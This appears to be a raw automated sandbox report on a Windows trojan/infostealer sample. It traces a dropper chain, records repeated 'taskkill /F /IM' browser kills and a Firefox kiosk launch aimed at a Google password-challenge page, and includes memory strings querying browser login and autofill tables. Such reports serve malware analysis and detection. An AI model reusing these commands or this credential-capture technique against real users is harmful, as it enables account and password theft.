Source: 572c19a989.exe.26.dr Static PE information: Section: yuntpzro ZLIB complexity 0.9950741505841467
Source: 66c6d84346.exe.26.dr Static PE information: Section: ZLIB complexity 0.9995165532178217
Source: 768041f87c.exe.26.dr Static PE information: Section: yuntpzro ZLIB complexity 0.9950741505841467
Source: GA69253C3MXNERTO3N2QC0.exe.27.dr Static PE information: Section: ZLIB complexity 0.9979351158038147
Source: GA69253C3MXNERTO3N2QC0.exe.27.dr Static PE information: Section: evwdyikk ZLIB complexity 0.9947683942249925
Source: OCYPTLCO9AJSRPZ2BR0OXVLD.exe.27.dr Static PE information: Section: yuntpzro ZLIB complexity 0.9950741505841467
Source: PNQRGRK1HGQJXXIGW87D2O4ERYK64Y.exe.30.dr Static PE information: Section: ZLIB complexity 0.9979351158038147
Source: PNQRGRK1HGQJXXIGW87D2O4ERYK64Y.exe.30.dr Static PE information: Section: evwdyikk ZLIB complexity 0.9947683942249925
Source: 9ZQAVS2HIFCJRZ8VYRAJ0X35HFUX.exe.30.dr Static PE information: Section: yuntpzro ZLIB complexity 0.9950741505841467
Source: B9LAVL77AEHW335N4SC7G6A3335WY1I.exe.31.dr Static PE information: Section: ZLIB complexity 0.9979351158038147
Source: B9LAVL77AEHW335N4SC7G6A3335WY1I.exe.31.dr Static PE information: Section: evwdyikk ZLIB complexity 0.9947683942249925
Source: 2SGVUOBNN8HUJ5IDUWDR.exe, 00000005.00000002.2016380463.0000000000451000.00000040.00000001.01000000.00000007.sdmp, 2SGVUOBNN8HUJ5IDUWDR.exe, 00000005.00000003.1961420367.0000000004E10000.00000004.00001000.00020000.00000000.sdmp, a4769912c1.exe, 0000001C.00000002.2547341621.0000000000EC1000.00000040.00000001.01000000.00000017.sdmp, a4769912c1.exe, 0000001C.00000003.2499099366.0000000005120000.00000004.00001000.00020000.00000000.sdmp, 7617eef03d.exe, 00000020.00000002.2652934393.0000000000311000.00000040.00000001.01000000.00000019.sdmp, 7617eef03d.exe, 00000020.00000003.2602234805.0000000004CE0000.00000004.00001000.00020000.00000000.sdmp, a4769912c1.exe, 00000022.00000003.2652114564.0000000004AD0000.00000004.00001000.00020000.00000000.sdmp, a4769912c1.exe, 00000022.00000002.2753806901.0000000000EC1000.00000040.00000001.01000000.00000017.sdmp, 572c19a989.exe, 00000023.00000003.2690081341.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, 768041f87c.exe, 00000026.00000003.2774586954.0000000005320000.00000004.00001000.00020000.00000000.sdmp Binary or memory string: =R.SLN6CO6A3TUV4VI7QN) U16F5V0%Q$'V<+59CPLCJJULOYXRHGLPW "53>/1
Source: classification engine Classification label: mal100.troj.spyw.evad.winEXE@81/55@122/17
Source: C:\Users\user\AppData\Local\Temp\4V88JM9ZW2IZ0ZQGW7B.exe Code function: 6_2_002237B5 GetLastError,FormatMessageW, 6_2_002237B5
Source: C:\Users\user\AppData\Local\Temp\4V88JM9ZW2IZ0ZQGW7B.exe Code function: 6_2_002110BF AdjustTokenPrivileges,CloseHandle, 6_2_002110BF
Source: C:\Users\user\AppData\Local\Temp\4V88JM9ZW2IZ0ZQGW7B.exe Code function: 6_2_002116C3 LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError, 6_2_002116C3
Source: C:\Users\user\AppData\Local\Temp\4V88JM9ZW2IZ0ZQGW7B.exe Code function: 6_2_002251CD SetErrorMode,GetDiskFreeSpaceExW,SetErrorMode, 6_2_002251CD
Source: C:\Users\user\AppData\Local\Temp\4V88JM9ZW2IZ0ZQGW7B.exe Code function: 6_2_0021D4DC CreateToolhelp32Snapshot,Process32FirstW,Process32NextW,CloseHandle, 6_2_0021D4DC
Source: C:\Users\user\AppData\Local\Temp\4V88JM9ZW2IZ0ZQGW7B.exe Code function: 6_2_0022648E _wcslen,CoInitialize,CoCreateInstance,CoUninitialize, 6_2_0022648E
Source: C:\Users\user\AppData\Local\Temp\4V88JM9ZW2IZ0ZQGW7B.exe Code function: 6_2_001B42A2 CreateStreamOnHGlobal,FindResourceExW,LoadResource,SizeofResource,LockResource, 6_2_001B42A2
Source: C:\Users\user\AppData\Local\Temp\2SGVUOBNN8HUJ5IDUWDR.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\M3T59E2M.htm Jump to behavior
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7980:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4948:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1984:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2676:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5820:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8064:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2008:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d
Source: C:\Users\user\Desktop\file.exe File created: C:\Users\user\AppData\Local\Temp\KGMUJDGOAL6LWD7UD45LIZ.exe Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Users\user\AppData\Local\Temp\KGMUJDGOAL6LWD7UD45LIZ.exe File read: C:\Users\desktop.ini Jump to behavior
Source: C:\Users\user\Desktop\file.exe Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers Jump to behavior
Source: 9b7d422018.exe, 0000001B.00000003.2504520565.0000000005CAB000.00000004.00000800.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2615264795.00000000053A4000.00000004.00000800.00020000.00000000.sdmp, 48bf814d33.exe, 0000001E.00000003.2623054878.0000000005375000.00000004.00000800.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2649244353.000000000535A000.00000004.00000800.00020000.00000000.sdmp, 9b7d422018.exe, 0000001F.00000003.2652432468.0000000005378000.00000004.00000800.00020000.00000000.sdmp, 20b68761b3.exe, 00000021.00000003.2720052352.0000000005665000.00000004.00000800.00020000.00000000.sdmp, 20b68761b3.exe, 00000021.00000003.2732099290.0000000005406000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: a4769912c1.exe, 00000022.00000002.2749978243.00000000006BB000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: SELECT name, value FROM autofill;
Source: file.exe Virustotal: Detection: 46%
Source: file.exe ReversingLabs: Detection: 42%
Source: KGMUJDGOAL6LWD7UD45LIZ.exe String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: 2SGVUOBNN8HUJ5IDUWDR.exe String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: C:\Users\user\Desktop\file.exe File read: C:\Users\user\Desktop\file.exe Jump to behavior
Source: unknown Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe Process created: C:\Users\user\AppData\Local\Temp\KGMUJDGOAL6LWD7UD45LIZ.exe "C:\Users\user\AppData\Local\Temp\KGMUJDGOAL6LWD7UD45LIZ.exe"
Source: C:\Users\user\Desktop\file.exe Process created: C:\Users\user\AppData\Local\Temp\2SGVUOBNN8HUJ5IDUWDR.exe "C:\Users\user\AppData\Local\Temp\2SGVUOBNN8HUJ5IDUWDR.exe"
Source: C:\Users\user\Desktop\file.exe Process created: C:\Users\user\AppData\Local\Temp\4V88JM9ZW2IZ0ZQGW7B.exe "C:\Users\user\AppData\Local\Temp\4V88JM9ZW2IZ0ZQGW7B.exe"
Source: C:\Users\user\AppData\Local\Temp\4V88JM9ZW2IZ0ZQGW7B.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\KGMUJDGOAL6LWD7UD45LIZ.exe Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: unknown Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Users\user\AppData\Local\Temp\4V88JM9ZW2IZ0ZQGW7B.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\4V88JM9ZW2IZ0ZQGW7B.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\4V88JM9ZW2IZ0ZQGW7B.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\4V88JM9ZW2IZ0ZQGW7B.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\4V88JM9ZW2IZ0ZQGW7B.exe Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Source: unknown Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking --attempting-deelevation
Source: C:\Program Files\Mozilla Firefox\firefox.exe Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2304 -parentBuildID 20230927232528 -prefsHandle 2208 -prefMapHandle 2204 -prefsLen 25359 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {bd325a87-00e5-47e5-97be-85b91655ce72} 7760 "\\.\pipe\gecko-crash-server-pipe.7760" 16c7b66d510 socket
Source: C:\Program Files\Mozilla Firefox\firefox.exe Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4384 -parentBuildID 20230927232528 -prefsHandle 4408 -prefMapHandle 4404 -prefsLen 26374 -prefMapSize 237879 -appDir "C:\Program Files\Mozilla Firefox\browser" - {812b1425-1beb-4690-8e96-5eb9044b2442} 7760 "\\.\pipe\gecko-crash-server-pipe.7760" 16c0d743810 rdd
Source: C:\Program Files\Mozilla Firefox\firefox.exe Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=5236 -parentBuildID 20230927232528 -sandboxingKind 0 -prefsHandle 5228 -prefMapHandle 5224 -prefsLen 33185 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {c4c456b6-f245-4b72-bb46-8227423c5a93} 7760 "\\.\pipe\gecko-crash-server-pipe.7760" 16c133cf110 utility
Source: unknown Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe "C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\1000490001\a4769912c1.exe "C:\Users\user\AppData\Local\Temp\1000490001\a4769912c1.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe "C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe"
Source: unknown Process created: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe "C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\1000492001\7617eef03d.exe "C:\Users\user\AppData\Local\Temp\1000492001\7617eef03d.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe "C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe"
Source: unknown Process created: C:\Users\user\AppData\Local\Temp\1000490001\a4769912c1.exe "C:\Users\user\AppData\Local\Temp\1000490001\a4769912c1.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\1000494001\572c19a989.exe "C:\Users\user\AppData\Local\Temp\1000494001\572c19a989.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\1000495001\66c6d84346.exe "C:\Users\user\AppData\Local\Temp\1000495001\66c6d84346.exe"
Source: unknown Process created: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe "C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\1000496001\768041f87c.exe "C:\Users\user\AppData\Local\Temp\1000496001\768041f87c.exe"
Source: unknown Process created: C:\Users\user\AppData\Local\Temp\1000492001\7617eef03d.exe "C:\Users\user\AppData\Local\Temp\1000492001\7617eef03d.exe"
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe Process created: C:\Users\user\AppData\Local\Temp\GA69253C3MXNERTO3N2QC0.exe "C:\Users\user\AppData\Local\Temp\GA69253C3MXNERTO3N2QC0.exe"
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe Process created: C:\Users\user\AppData\Local\Temp\OCYPTLCO9AJSRPZ2BR0OXVLD.exe "C:\Users\user\AppData\Local\Temp\OCYPTLCO9AJSRPZ2BR0OXVLD.exe"
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe Process created: C:\Users\user\AppData\Local\Temp\TWGY675O6RDQPKG6OE4IM311M9A2JP.exe "C:\Users\user\AppData\Local\Temp\TWGY675O6RDQPKG6OE4IM311M9A2JP.exe"
Source: C:\Users\user\AppData\Local\Temp\TWGY675O6RDQPKG6OE4IM311M9A2JP.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe Process created: C:\Users\user\AppData\Local\Temp\PNQRGRK1HGQJXXIGW87D2O4ERYK64Y.exe "C:\Users\user\AppData\Local\Temp\PNQRGRK1HGQJXXIGW87D2O4ERYK64Y.exe"
Source: C:\Users\user\AppData\Local\Temp\TWGY675O6RDQPKG6OE4IM311M9A2JP.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\file.exe Process created: C:\Users\user\AppData\Local\Temp\KGMUJDGOAL6LWD7UD45LIZ.exe "C:\Users\user\AppData\Local\Temp\KGMUJDGOAL6LWD7UD45LIZ.exe" Jump to behavior
Source: C:\Users\user\Desktop\file.exe Process created: C:\Users\user\AppData\Local\Temp\2SGVUOBNN8HUJ5IDUWDR.exe "C:\Users\user\AppData\Local\Temp\2SGVUOBNN8HUJ5IDUWDR.exe" Jump to behavior
Source: C:\Users\user\Desktop\file.exe Process created: C:\Users\user\AppData\Local\Temp\4V88JM9ZW2IZ0ZQGW7B.exe "C:\Users\user\AppData\Local\Temp\4V88JM9ZW2IZ0ZQGW7B.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KGMUJDGOAL6LWD7UD45LIZ.exe Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4V88JM9ZW2IZ0ZQGW7B.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4V88JM9ZW2IZ0ZQGW7B.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4V88JM9ZW2IZ0ZQGW7B.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4V88JM9ZW2IZ0ZQGW7B.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4V88JM9ZW2IZ0ZQGW7B.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4V88JM9ZW2IZ0ZQGW7B.exe Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking Jump to behavior
Source: C:\Program Files\Mozilla Firefox\firefox.exe Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking Jump to behavior
Source: C:\Program Files\Mozilla Firefox\firefox.exe Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2304 -parentBuildID 20230927232528 -prefsHandle 2208 -prefMapHandle 2204 -prefsLen 25359 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {bd325a87-00e5-47e5-97be-85b91655ce72} 7760 "\\.\pipe\gecko-crash-server-pipe.7760" 16c7b66d510 socket
Source: C:\Program Files\Mozilla Firefox\firefox.exe Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4384 -parentBuildID 20230927232528 -prefsHandle 4408 -prefMapHandle 4404 -prefsLen 26374 -prefMapSize 237879 -appDir "C:\Program Files\Mozilla Firefox\browser" - {812b1425-1beb-4690-8e96-5eb9044b2442} 7760 "\\.\pipe\gecko-crash-server-pipe.7760" 16c0d743810 rdd
Source: C:\Program Files\Mozilla Firefox\firefox.exe Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=5236 -parentBuildID 20230927232528 -sandboxingKind 0 -prefsHandle 5228 -prefMapHandle 5224 -prefsLen 33185 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {c4c456b6-f245-4b72-bb46-8227423c5a93} 7760 "\\.\pipe\gecko-crash-server-pipe.7760" 16c133cf110 utility
Source: C:\Program Files\Mozilla Firefox\firefox.exe Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe "C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\1000490001\a4769912c1.exe "C:\Users\user\AppData\Local\Temp\1000490001\a4769912c1.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe "C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\1000492001\7617eef03d.exe "C:\Users\user\AppData\Local\Temp\1000492001\7617eef03d.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe "C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\1000494001\572c19a989.exe "C:\Users\user\AppData\Local\Temp\1000494001\572c19a989.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\1000495001\66c6d84346.exe "C:\Users\user\AppData\Local\Temp\1000495001\66c6d84346.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\1000496001\768041f87c.exe "C:\Users\user\AppData\Local\Temp\1000496001\768041f87c.exe"
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe Process created: C:\Users\user\AppData\Local\Temp\GA69253C3MXNERTO3N2QC0.exe "C:\Users\user\AppData\Local\Temp\GA69253C3MXNERTO3N2QC0.exe"
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe Process created: C:\Users\user\AppData\Local\Temp\OCYPTLCO9AJSRPZ2BR0OXVLD.exe "C:\Users\user\AppData\Local\Temp\OCYPTLCO9AJSRPZ2BR0OXVLD.exe"
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe Process created: C:\Users\user\AppData\Local\Temp\TWGY675O6RDQPKG6OE4IM311M9A2JP.exe "C:\Users\user\AppData\Local\Temp\TWGY675O6RDQPKG6OE4IM311M9A2JP.exe"
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe Process created: C:\Users\user\AppData\Local\Temp\PNQRGRK1HGQJXXIGW87D2O4ERYK64Y.exe "C:\Users\user\AppData\Local\Temp\PNQRGRK1HGQJXXIGW87D2O4ERYK64Y.exe"
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\TWGY675O6RDQPKG6OE4IM311M9A2JP.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\TWGY675O6RDQPKG6OE4IM311M9A2JP.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\TWGY675O6RDQPKG6OE4IM311M9A2JP.exe Process created: unknown unknown
Source: C:\Users\user\Desktop\file.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: winmm.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: webio.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: mswsock.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: winnsi.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: dnsapi.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: rasadhlp.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: fwpuclnt.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: schannel.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: mskeyprotect.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: ntasn1.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: ncrypt.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: ncryptsslp.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: msasn1.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: gpapi.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: dpapi.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: wbemcomn.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: version.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
